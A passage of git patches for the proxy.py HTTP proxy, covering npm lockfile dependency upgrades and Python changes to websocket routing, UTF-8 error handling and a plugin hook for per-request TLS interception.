"https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", - "dev": true - }, "p-limit": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", @@ -8489,15 +8101,6 @@ "callsites": "^3.0.0" } }, - "parse-json": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", - "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", - "dev": true, - "requires": { - "error-ex": "^1.2.0" - } - }, "parse5": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/parse5/-/parse5-5.1.0.tgz", @@ -8528,15 +8131,6 @@ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", "dev": true }, - "path-type": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-2.0.0.tgz", - "integrity": "sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=", - "dev": true, - "requires": { - "pify": "^2.0.0" - } - }, "performance-now": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", @@ -8549,12 +8143,6 @@ "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==", "dev": true }, - "pify": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", - "dev": true - }, "pinkie": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", @@ -8608,12 +8196,6 @@ "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", "dev": true }, - "pseudomap": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", - "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", - "dev": true - }, "psl": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", @@ -8632,27 +8214,6 @@ "integrity": "sha512-A1kFqHekCTM7cz0udomYUoYNWjBebHm/5wzU/XqrBRBNWectVH0QIiN+NEcZ0Dte5hvzHwbr8+XQmguPhJ6WdQ==", "dev": true }, - "read-pkg": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-2.0.0.tgz", - "integrity": "sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=", - "dev": true, - "requires": { - "load-json-file": "^2.0.0", - "normalize-package-data": "^2.3.2", - "path-type": "^2.0.0" - } - }, - "read-pkg-up": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-2.0.0.tgz", - "integrity": "sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=", - "dev": true, - "requires": { - "find-up": "^2.0.0", - "read-pkg": "^2.0.0" - } - }, "regexpp": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.1.0.tgz", @@ -8743,12 +8304,6 @@ "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", "dev": true }, - "require-main-filename": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", - "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=", - "dev": true - }, "requires-port": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", @@ -8913,18 +8468,6 @@ "integrity": "sha1-8aAymzCLIh+uN7mXTz1XjQypmeM=", "dev": true }, - "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true - }, - "set-blocking": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", - "dev": true - }, "shebang-command": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", @@ -8998,38 +8541,6 @@ "source-map": "^0.6.0" } }, - "spdx-correct": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.0.tgz", - "integrity": "sha512-lr2EZCctC2BNR7j7WzJ2FpDznxky1sjfxvvYEyzxNyb6lZXHODmEoJeFu4JupYlkfha1KZpJyoqiJ7pgA1qq8Q==", - "dev": true, - "requires": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" - } - }, - "spdx-exceptions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.2.0.tgz", - "integrity": "sha512-2XQACfElKi9SlVb1CYadKDXvoajPgBVPn/gOQLrTvHdElaVhr7ZEbqJaRnJLVNeaI4cMEAgVCeBMKF6MWRDCRA==", - "dev": true - }, - "spdx-expression-parse": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", - "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", - "dev": true, - "requires": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" - } - }, - "spdx-license-ids": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.5.tgz", - "integrity": "sha512-J+FWzZoynJEXGphVIS+XEh3kFSjZX/1i9gFBaWQcB+/tmpe2qUsSBABpcxqxnAxFdiUFEgAX1bjYGQvIZmoz9Q==", - "dev": true - }, "sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", @@ -9133,12 +8644,6 @@ "integrity": "sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=", "dev": true }, - "strip-eof": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", - "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=", - "dev": true - }, "strip-json-comments": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", @@ -9386,16 +8891,6 @@ "integrity": "sha512-8OQ9CL+VWyt3JStj7HX7/ciTL2V3Rl1Wf5OL+SNTm0yK1KvtReVulksyeRnCANHHuUxHlQig+JJDlUhBt1NQDQ==", "dev": true }, - "validate-npm-package-license": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", - "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", - "dev": true, - "requires": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" - } - }, "verror": { "version": "1.10.0", "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", @@ -9481,12 +8976,6 @@ "is-symbol": "^1.0.3" } }, - "which-module": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", - "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", - "dev": true - }, "word-wrap": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", @@ -9500,24 +8989,64 @@ "dev": true }, "wrap-ansi": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", - "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", "dev": true, "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1" + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" }, "dependencies": { + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, "string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "dev": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "ansi-regex": "^5.0.1" } } } @@ -9557,46 +9086,59 @@ "dev": true }, "y18n": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.2.tgz", - "integrity": "sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ==", - "dev": true - }, - "yallist": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", - "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", "dev": true }, "yargs": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-8.0.2.tgz", - "integrity": "sha1-YpmpBVsc78lp/355wdkY3Osiw2A=", + "version": "17.3.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.3.1.tgz", + "integrity": "sha512-WUANQeVgjLbNsEmGk20f+nlHgOqzRFpiGWVaBrYGYIGANIIu3lWjoyi0fNlFmJkvfhCZ6BXINe7/W2O2bV4iaA==", "dev": true, "requires": { - "camelcase": "^4.1.0", - "cliui": "^3.2.0", - "decamelize": "^1.1.1", - "get-caller-file": "^1.0.1", - "os-locale": "^2.0.0", - "read-pkg-up": "^2.0.0", + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^7.0.0" + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true + }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.1" + } + } } }, "yargs-parser": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-7.0.0.tgz", - "integrity": "sha1-jQrELxbqVd69MyyvTEA4s+P139k=", - "dev": true, - "requires": { - "camelcase": "^4.1.0" - } + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-z9kApYUOCwoeZ78rfRYYWdiU/iNL6mwwYlkkZfJoyMR1xps+NEBX5X7XmRpxkZHhXJ6+Ey00IwKxBBSW9FIjyA==", + "dev": true }, "yn": { "version": "2.0.0", diff --git a/dashboard/package.json b/dashboard/package.json index 22585f5405..119da18ba4 100644 --- a/dashboard/package.json +++ b/dashboard/package.json @@ -39,7 +39,7 @@ "eslint-plugin-standard": "^5.0.0", "http-server": "^14.0.0", "jasmine": "^4.0.0", - "jasmine-ts": "^0.3.0", + "jasmine-ts": "^0.4.0", "jquery": "^3.6.0", "js-cookie": "^3.0.1", "jsdom": "^15.2.1", From 474cce147afad0288ffe21d02240f1d0503ad9b8 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Tue, 11 Jan 2022 23:05:19 +0530 Subject: [PATCH 20/38] Ignore `utf-8` decoding errors within event core (#961) --- proxy/http/proxy/server.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/proxy/http/proxy/server.py b/proxy/http/proxy/server.py index a3a2dd4cf0..362b9857d4 100644 --- a/proxy/http/proxy/server.py +++ b/proxy/http/proxy/server.py @@ -886,7 +886,7 @@ def emit_request_complete(self) -> None: text_(k): text_(v[1]) for k, v in self.request.headers.items() }, - 'body': text_(self.request.body) + 'body': text_(self.request.body, errors='ignore') if self.request.method == httpMethods.POST else None, }, From a84ababb94c509f227e9b2cbc70415b88278eca2 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Wed, 12 Jan 2022 00:05:55 +0530 Subject: [PATCH 21/38] [WebServer] Refactor routing to allow same path for websocket and web requests (#962) * Switch to WS * Refactor --- proxy/http/server/web.py | 116 ++++++++++++++++++++------------------- 1 file changed, 60 insertions(+), 56 deletions(-) diff --git a/proxy/http/server/web.py b/proxy/http/server/web.py index fafc89e58a..5892c57171 100644 --- a/proxy/http/server/web.py +++ b/proxy/http/server/web.py @@ -14,7 +14,7 @@ import logging import mimetypes -from typing import List, Optional, Dict, Union, Any, Pattern +from typing import List, Optional, Dict, Tuple, Union, Any, Pattern from ...common.constants import DEFAULT_STATIC_SERVER_DIR from ...common.constants import DEFAULT_ENABLE_STATIC_SERVER, DEFAULT_ENABLE_WEB_SERVER @@ -28,7 +28,7 @@ from ..websocket import WebsocketFrame, websocketOpcodes from ..parser import HttpParser, httpParserTypes from ..protocols import httpProtocols -from ..responses import NOT_FOUND_RESPONSE_PKT, NOT_IMPLEMENTED_RESPONSE_PKT, okResponse +from ..responses import NOT_FOUND_RESPONSE_PKT, okResponse from .plugin import HttpWebServerBasePlugin from .protocols import httpProtocolTypes @@ -138,65 +138,28 @@ def read_and_build_static_file_response(path: str) -> memoryview: except FileNotFoundError: return NOT_FOUND_RESPONSE_PKT - def try_upgrade(self) -> bool: - if self.request.has_header(b'connection') and \ - self.request.header(b'connection').lower() == b'upgrade': - if self.request.has_header(b'upgrade') and \ - self.request.header(b'upgrade').lower() == b'websocket': - self.client.queue( - memoryview( - build_websocket_handshake_response( - WebsocketFrame.key_to_accept( - self.request.header(b'Sec-WebSocket-Key'), - ), - ), + def switch_to_websocket(self) -> None: + self.client.queue( + memoryview( + build_websocket_handshake_response( + WebsocketFrame.key_to_accept( + self.request.header(b'Sec-WebSocket-Key'), ), - ) - self.switched_protocol = httpProtocolTypes.WEBSOCKET - else: - self.client.queue(NOT_IMPLEMENTED_RESPONSE_PKT) - return True - return False + ), + ), + ) + self.switched_protocol = httpProtocolTypes.WEBSOCKET def on_request_complete(self) -> Union[socket.socket, bool]: path = self.request.path or b'/' - # Routing for Http(s) requests - protocol = httpProtocolTypes.HTTPS \ - if self.encryption_enabled() else \ - httpProtocolTypes.HTTP - for route in self.routes[protocol]: - if route.match(text_(path)): - self.route = self.routes[protocol][route] - assert self.route - self.route.handle_request(self.request) - if self.request.has_header(b'connection') and \ - self.request.header(b'connection').lower() == b'close': - return True - return False - # If a websocket route exists for the path, try upgrade - for route in self.routes[httpProtocolTypes.WEBSOCKET]: - if route.match(text_(path)): - self.route = self.routes[httpProtocolTypes.WEBSOCKET][route] - # Connection upgrade - teardown = self.try_upgrade() - if teardown: - return True - # For upgraded connections, nothing more to do - if self.switched_protocol: - # Invoke plugin.on_websocket_open - assert self.route - self.route.on_websocket_open() - return False - break + # Try route + teardown = self._try_route(path) + if teardown: + return teardown # No-route found, try static serving if enabled - if self.flags.enable_static_server: - path = text_(path).split('?', 1)[0] - self.client.queue( - self.read_and_build_static_file_response( - self.flags.static_server_dir + path, - ), - ) - return True + teardown = self._try_static_file(path) + if teardown: + return teardown # Catch all unhandled web server requests, return 404 self.client.queue(NOT_FOUND_RESPONSE_PKT) return True @@ -305,3 +268,44 @@ def on_client_connection_close(self) -> None: def access_log(self, context: Dict[str, Any]) -> None: logger.info(DEFAULT_WEB_ACCESS_LOG_FORMAT.format_map(context)) + + @property + def _protocol(self) -> Tuple[bool, int]: + do_ws_upgrade = self.request.is_connection_upgrade and \ + self.request.header(b'upgrade').lower() == b'websocket' + return do_ws_upgrade, httpProtocolTypes.WEBSOCKET \ + if do_ws_upgrade \ + else httpProtocolTypes.HTTPS \ + if self.encryption_enabled() \ + else httpProtocolTypes.HTTP + + def _try_route(self, path: bytes) -> bool: + do_ws_upgrade, protocol = self._protocol + for route in self.routes[protocol]: + if route.match(text_(path)): + self.route = self.routes[protocol][route] + assert self.route + # Optionally, upgrade protocol + if do_ws_upgrade: + self.switch_to_websocket() + assert self.route + # Invoke plugin.on_websocket_open + self.route.on_websocket_open() + else: + # Invoke plugin.handle_request + self.route.handle_request(self.request) + if self.request.has_header(b'connection') and \ + self.request.header(b'connection').lower() == b'close': + return True + return False + + def _try_static_file(self, path: bytes) -> bool: + if self.flags.enable_static_server: + path = text_(path).split('?', 1)[0] + self.client.queue( + self.read_and_build_static_file_response( + self.flags.static_server_dir + path, + ), + ) + return True + return False From 7199459c69a717bb55f932230ae9a39707430149 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Wed, 12 Jan 2022 01:56:08 +0530 Subject: [PATCH 22/38] Ignore utf-8 decode error during logging (#966) --- proxy/http/handler.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/proxy/http/handler.py b/proxy/http/handler.py index 8193255c47..73e189a05b 100644 --- a/proxy/http/handler.py +++ b/proxy/http/handler.py @@ -307,7 +307,7 @@ def _parse_first_request(self, data: memoryview) -> bool: except Exception as exc: logger.exception('Error parsing the request', exc_info=exc) raise HttpProtocolException( - 'Error when parsing request: %s' % data.tobytes().decode('utf-8'), + 'Error when parsing request: %s' % data.tobytes().decode('utf-8', errors='ignore'), ) if not self.request.is_complete: return False From 010e8f840d90c10e51451a8c6396dc01dd0d129a Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Wed, 12 Jan 2022 11:19:35 +0530 Subject: [PATCH 23/38] On-demand `TlsInterception` capability, driven by plugins (#965) * Add `TlsInterceptionPropertyMixin` * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Add `do_intercept` hook * call super init * No super from mixin as it is followed by abc? * type ignore * spell Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- proxy/http/descriptors.py | 5 +++++ proxy/http/mixins.py | 30 ++++++++++++++++++++++++++++++ proxy/http/plugin.py | 9 +++++++-- proxy/http/proxy/plugin.py | 21 ++++++++++++++++++++- proxy/http/proxy/server.py | 25 +++++++++++++++---------- 5 files changed, 77 insertions(+), 13 deletions(-) create mode 100644 proxy/http/mixins.py diff --git a/proxy/http/descriptors.py b/proxy/http/descriptors.py index ef73496a57..bae5ea3857 100644 --- a/proxy/http/descriptors.py +++ b/proxy/http/descriptors.py @@ -8,6 +8,7 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ +from typing import Any from ..common.types import Readables, Writables, Descriptors @@ -17,6 +18,10 @@ class DescriptorsHandlerMixin: include web and proxy plugins. By using DescriptorsHandlerMixin, class becomes complaint with core event loop.""" + def __init__(self, *args: Any, **kwargs: Any) -> None: + # FIXME: Required for multi-level inheritance to work + super().__init__(*args, **kwargs) # type: ignore + # @abstractmethod async def get_descriptors(self) -> Descriptors: """Implementations must return a list of descriptions that they wish to diff --git a/proxy/http/mixins.py b/proxy/http/mixins.py new file mode 100644 index 0000000000..073c687b87 --- /dev/null +++ b/proxy/http/mixins.py @@ -0,0 +1,30 @@ +# -*- coding: utf-8 -*- +""" + proxy.py + ~~~~~~~~ + ⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on + Network monitoring, controls & Application development, testing, debugging. + + :copyright: (c) 2013-present by Abhinav Singh and contributors. + :license: BSD, see LICENSE for more details. +""" +import argparse +from typing import Any + + +class TlsInterceptionPropertyMixin: + """A mixin which provides `tls_interception_enabled` property. + + This is mostly for use by core & external developer HTTP plugins. + """ + + def __init__(self, *args: Any, **kwargs: Any) -> None: + # super().__init__(*args, **kwargs) + self.flags: argparse.Namespace = args[1] + + @property + def tls_interception_enabled(self) -> bool: + return self.flags.ca_key_file is not None and \ + self.flags.ca_cert_dir is not None and \ + self.flags.ca_signing_key_file is not None and \ + self.flags.ca_cert_file is not None diff --git a/proxy/http/plugin.py b/proxy/http/plugin.py index eb9c070622..2eb5ec5414 100644 --- a/proxy/http/plugin.py +++ b/proxy/http/plugin.py @@ -19,12 +19,17 @@ from .parser import HttpParser from .descriptors import DescriptorsHandlerMixin +from .mixins import TlsInterceptionPropertyMixin if TYPE_CHECKING: from ..core.connection import UpstreamConnectionPool -class HttpProtocolHandlerPlugin(DescriptorsHandlerMixin, ABC): +class HttpProtocolHandlerPlugin( + DescriptorsHandlerMixin, + TlsInterceptionPropertyMixin, + ABC, +): """Base HttpProtocolHandler Plugin class. NOTE: This is an internal plugin and in most cases only useful for core contributors. @@ -55,13 +60,13 @@ def __init__( event_queue: Optional[EventQueue] = None, upstream_conn_pool: Optional['UpstreamConnectionPool'] = None, ): + super().__init__(uid, flags, client, event_queue, upstream_conn_pool) self.uid: str = uid self.flags: argparse.Namespace = flags self.client: TcpClientConnection = client self.request: HttpParser = request self.event_queue = event_queue self.upstream_conn_pool = upstream_conn_pool - super().__init__() @staticmethod @abstractmethod diff --git a/proxy/http/proxy/plugin.py b/proxy/http/proxy/plugin.py index 8e769a5105..ade40f7187 100644 --- a/proxy/http/proxy/plugin.py +++ b/proxy/http/proxy/plugin.py @@ -13,6 +13,8 @@ from abc import ABC from typing import Any, Dict, Optional, Tuple, TYPE_CHECKING +from ..mixins import TlsInterceptionPropertyMixin + from ..parser import HttpParser from ..descriptors import DescriptorsHandlerMixin @@ -23,7 +25,11 @@ from ...core.connection import UpstreamConnectionPool -class HttpProxyBasePlugin(DescriptorsHandlerMixin, ABC): +class HttpProxyBasePlugin( + DescriptorsHandlerMixin, + TlsInterceptionPropertyMixin, + ABC, +): """Base HttpProxyPlugin Plugin class. Implement various lifecycle event methods to customize behavior.""" @@ -36,6 +42,7 @@ def __init__( event_queue: EventQueue, upstream_conn_pool: Optional['UpstreamConnectionPool'] = None, ) -> None: + super().__init__(uid, flags, client, event_queue, upstream_conn_pool) self.uid = uid # pragma: no cover self.flags = flags # pragma: no cover self.client = client # pragma: no cover @@ -151,3 +158,15 @@ def on_access_log(self, context: Dict[str, Any]) -> Optional[Dict[str, Any]]: must return None to prevent other plugin.on_access_log invocation. """ return context + + def do_intercept(self, _request: HttpParser) -> bool: + """By default returns True (only) when necessary flags + for TLS interception are passed. + + When TLS interception is enabled, plugins can still disable + TLS interception by returning False explicitly. This hook + will allow you to run proxy instance with TLS interception + flags BUT only conditionally enable interception for + certain requests. + """ + return self.tls_interception_enabled diff --git a/proxy/http/proxy/server.py b/proxy/http/proxy/server.py index 362b9857d4..9e9f61947d 100644 --- a/proxy/http/proxy/server.py +++ b/proxy/http/proxy/server.py @@ -167,12 +167,6 @@ def __init__( def protocols() -> List[int]: return [httpProtocols.HTTP_PROXY] - def tls_interception_enabled(self) -> bool: - return self.flags.ca_key_file is not None and \ - self.flags.ca_cert_dir is not None and \ - self.flags.ca_signing_key_file is not None and \ - self.flags.ca_cert_file is not None - async def get_descriptors(self) -> Descriptors: r: List[int] = [] w: List[int] = [] @@ -291,7 +285,7 @@ async def read_from_descriptors(self, r: Readables) -> bool: # only for non-https requests and when # tls interception is enabled if not self.request.is_https_tunnel \ - or self.tls_interception_enabled(): + or self.tls_interception_enabled: if self.response.is_complete: self.handle_pipeline_response(raw) else: @@ -440,7 +434,7 @@ def on_client_data(self, raw: memoryview) -> Optional[memoryview]: # requests is TLS interception is enabled. if self.request.is_complete and ( not self.request.is_https_tunnel or - self.tls_interception_enabled() + self.tls_interception_enabled ): if self.pipeline_request is not None and \ self.pipeline_request.is_connection_upgrade: @@ -521,8 +515,19 @@ def on_request_complete(self) -> Union[socket.socket, bool]: if self.upstream: if self.request.is_https_tunnel: self.client.queue(PROXY_TUNNEL_ESTABLISHED_RESPONSE_PKT) - if self.tls_interception_enabled(): - return self.intercept() + if self.tls_interception_enabled: + # Check if any plugin wants to + # disable interception even + # with flags available + do_intercept = True + for plugin in self.plugins.values(): + do_intercept = plugin.do_intercept(self.request) + # A plugin requested to not intercept + # the request + if do_intercept is False: + break + if do_intercept: + return self.intercept() # If an upstream server connection was established for http request, # queue the request for upstream server. else: From f53636d4e38969ca4835c36b1753f0f0f4df15d2 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Wed, 12 Jan 2022 12:45:04 +0530 Subject: [PATCH 24/38] [WebServer] Fix routing (#968) * Fix web server routing * Fix mypy --- proxy/http/handler.py | 5 ++--- proxy/http/server/web.py | 28 +++++++++++++--------------- 2 files changed, 15 insertions(+), 18 deletions(-) diff --git a/proxy/http/handler.py b/proxy/http/handler.py index 73e189a05b..7966174dbb 100644 --- a/proxy/http/handler.py +++ b/proxy/http/handler.py @@ -304,10 +304,9 @@ def _parse_first_request(self, data: memoryview) -> bool: # memoryview compliant try: self.request.parse(data.tobytes()) - except Exception as exc: - logger.exception('Error parsing the request', exc_info=exc) + except Exception: raise HttpProtocolException( - 'Error when parsing request: %s' % data.tobytes().decode('utf-8', errors='ignore'), + 'Error when parsing request: %r' % data.tobytes(), ) if not self.request.is_complete: return False diff --git a/proxy/http/server/web.py b/proxy/http/server/web.py index 5892c57171..5035217138 100644 --- a/proxy/http/server/web.py +++ b/proxy/http/server/web.py @@ -152,14 +152,15 @@ def switch_to_websocket(self) -> None: def on_request_complete(self) -> Union[socket.socket, bool]: path = self.request.path or b'/' - # Try route teardown = self._try_route(path) - if 